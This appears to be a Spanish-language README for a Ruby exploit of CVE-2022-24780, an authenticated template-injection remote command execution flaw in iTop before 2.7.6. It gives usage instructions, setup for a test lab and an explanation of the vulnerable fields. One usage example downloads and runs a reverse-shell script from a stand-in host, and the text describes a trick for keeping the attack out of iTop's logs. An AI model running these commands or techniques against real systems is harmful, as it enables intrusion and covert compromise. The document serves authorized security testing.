
iTop < 2.7.6 - (Autenticado) Ejecución remota de comandos
iTop < 2.7.6 - Ejecución remota de comandos (autenticado)
Exploit para CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full del exploit utiliza Watir con un navegador web controlado por Selenium para emular la navegación de un usuario. Esto es necesario para preservar la información del usuario. El exploit inyecta un payload SSTI en una subparte del formulario utilizado para modificar la información del usuario en el perfil del portal. Mientras que algunos valores pueden estar codificados o ser obtenidos del HTML, otros (teléfono, ubicación, función) se cargan dinámicamente mediante JavaScript y se inyectan en el HTML. Por lo tanto, para que el exploit no sea destructivo, es necesario ejecutar JavaScript para poder recuperar esos valores.
La variante light del exploit no se preocupa tanto y simplemente establecerá de forma destructiva un valor nulo en algunos campos de información del usuario (teléfono, ubicación, función) en su lugar. Sin embargo, esta variante es más rápida de ejecutar, requiere menos dependencias, no ejecuta JavaScript y no necesita un entorno X (Watir lo necesita para ejecutar el navegador web).
TL;DR: instala todo bundle install
Variante full
Ejemplo usando gem:
gem install httpx docopt watir webdrivers
Variante light
Ejemplo usando gem:
gem install httpx docopt nokogiri
No se recomienda usar payloads con comillas dobles (") ni barras invertidas (\) porque el payload se inyecta en JSON.
Advertencia: este contenedor no es adecuado para uso en producción!
Usando vbkunin/itop:2.7.4 - fuente - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnerabilidad fue encontrada por Markus KRELL.
Análisis de la vulnerabilidad por el descubridor:
ACCEIS no promueve ni fomenta ninguna actividad ilegal; todo el contenido proporcionado por este repositorio es únicamente con fines de investigación, educación y detección de amenazas.
Como auditor de seguridad (o cualquier otro rol de sombrero blanco), por un lado quieres ejecutar un script de exploit para verificar la explotabilidad práctica efectiva de la vulnerabilidad teórica basada en el número de versión de la aplicación que identificaste, pero por otro lado quieres que se haga correctamente sin ninguna acción destructiva para que la aplicación del cliente quede en el mismo estado en que la encontraste.
Por ejemplo, este exploit ocurre en la página de perfil del usuario, por lo que hay un formulario con información del usuario que ya está poblada: nombre, apellido, ID de organización, correo electrónico, teléfono, ID de ubicación, función, ID de gerente. Para que el ataque funcione, solo necesitas sobrescribir los campos vulnerables y llenar los demás con valores nulos o aleatorios si son obligatorios. Eso es lo que hace la variante light del exploit. Pero al hacerlo, destruirás la información real de ese usuario; no es problemático en un entorno de prueba, pero es un problema real si estás en un entorno de producción. Un sombrero negro no se preocupará por eso, pero como sombrero blanco debemos preservar los datos. Por lo tanto, la solución es obtener los datos reales y reutilizarlos en nuestra solicitud POST.
En aplicaciones web clásicas, a menudo solo tienes que elaborar directamente una solicitud POST con los parámetros correctos dirigidos al endpoint vulnerable. A veces necesitas manejar sesión/cookies, redirecciones, algunos estados previos que puedan ser necesarios, obtener algunos IDs o tokens anti-CSRF, pero todo esto sigue siendo muy directo y se puede lograr con prácticamente cualquier biblioteca HTTP en cualquier lenguaje.
Para recuperar los datos reales, cuando los datos en el formulario provienen de:
Comienza a ser un poco más delicado en algunas aplicaciones web modernas donde muchos valores se establecen a partir de manipulaciones complejas de JavaScript. Aquí no puedes simplemente analizar HTML o solicitar una API REST; tampoco puedes obtener el valor directamente de un archivo JavaScript o analizar varias líneas y recomponer un valor. Cuando el cálculo de JS es tan complejo, ocurre en muchos archivos JS diferentes o el código fuente de JavaScript está ofuscado o empaquetado, requeriría demasiado esfuerzo y tiempo para aplicar ingeniería inversa al mecanismo y extraer el valor. En ese caso, realmente tienes que interactuar con el JavaScript de la aplicación. ¡Pero un script de exploit clásico que solo requiera una biblioteca HTTP no puede hacer eso (por sí solo)!
Explotar la vulnerabilidad manualmente es fácil, solo navegas por la aplicación, dejas que tu navegador maneje todo el JavaScript, simplemente configuras un proxy interceptador como Burp Suite para poder modificar la solicitud antes de que se envíe y estás listo. Pero hacer lo mismo de forma automatizada es mucho más difícil. Para interactuar y ejecutar JavaScript necesitamos un navegador sin cabeza (que puede o no requerir un entorno de visualización) y una biblioteca de emulación de usuario. Afortunadamente, ya existen bibliotecas avanzadas de pruebas funcionales que podemos usar para controlar el navegador sin cabeza. La más famosa es Selenium, pero también está Cypress. Fuera de los conjuntos de pruebas, también hay bibliotecas que ofrecen automatización más genérica como Playwright o Puppeteer. En ambos casos, se utiliza un DSL que imita el comportamiento del usuario como si un usuario estuviera usando la aplicación, por lo que el código que escribiremos le dirá al navegador "haz clic aquí", "ingresa mi nombre en el campo de nombre", "haz clic en este enlace", etc. El límite de los frameworks de pruebas es que solo te permiten hacer lo que un usuario normal haría; por ejemplo, un usuario normal no obtiene el contenido de una etiqueta script o un campo oculto, por lo que tampoco puedes hacerlo. También están destinados a obtener valores y compararlos con lo que esperas, no a establecerlos. Además, la ejecución con un navegador sin cabeza es mucho más lenta y puede requerir una escritura DSL engorrosa. Por lo tanto, al final queremos usar el navegador sin cabeza y el framework de pruebas lo menos posible.
Lo que hace la variante light del exploit es conectarse a la aplicación, obtener el formulario de perfil de usuario para recuperar todos los valores que puede y usar valores en blanco para el número de teléfono, ID de ubicación y función, y luego enviar el exploit.
Sin embargo, lo que hace la variante full del exploit es conectarse a la aplicación, obtener el formulario de perfil de usuario para recuperar todos los valores que puede, luego usar el navegador sin cabeza para conectarse, obtener el formulario de perfil de usuario para recuperar los 3 valores que se establecieron desde JavaScript, y luego enviar el exploit. Es prácticamente el mismo proceso excepto que no usamos valores nulos para los campos de datos poblados en JavaScript, sino que realmente los recuperamos con un navegador sin cabeza que ejecutará el JavaScript que pobla esos valores para poder recuperarlos. También es técnicamente posible escribir el exploit al 100% usando solo el navegador sin cabeza, pero tendremos que enfrentar las limitaciones discutidas anteriormente, por eso elegí el enfoque híbrido con un uso mínimo del navegador sin cabeza.
El descubridor de la vulnerabilidad CVE-2022-24780, Markus KRELL, escribió un artículo de blog con análisis detallado: iPort – Inyección de Plantillas dentro del Portal de Cliente.
En resumen, la vulnerabilidad ocurre al cambiar el perfil del usuario. Cuando el usuario envía el formulario para actualizar su información, envía un enorme objeto JSON que contiene varios metadatos para el backend, pero los datos del usuario a actualizar se almacenan como XHTML en el sub-nodo formproperties.layout.content del JSON. Pero Markus descubrió en el código fuente que formproperties.layout.type podía aceptar tanto XHTML como Twig. Por supuesto, cuando vio que se mencionaba Twig, inmediatamente pensó en posible SSTI. Así que probó todos los campos en el contenido para identificar uno vulnerable y descubrió que los atributos data-field-id y data-field-flags son vulnerables. Luego es posible usar payloads clásicos de inyección de plantillas Twig. Aún así, como extra, descubrió que agregar |join(',') a la expresión convertiría el array resultante en una cadena y, al hacerlo, evitaría una entrada en los logs de iTop para hacer el ataque más sigiloso.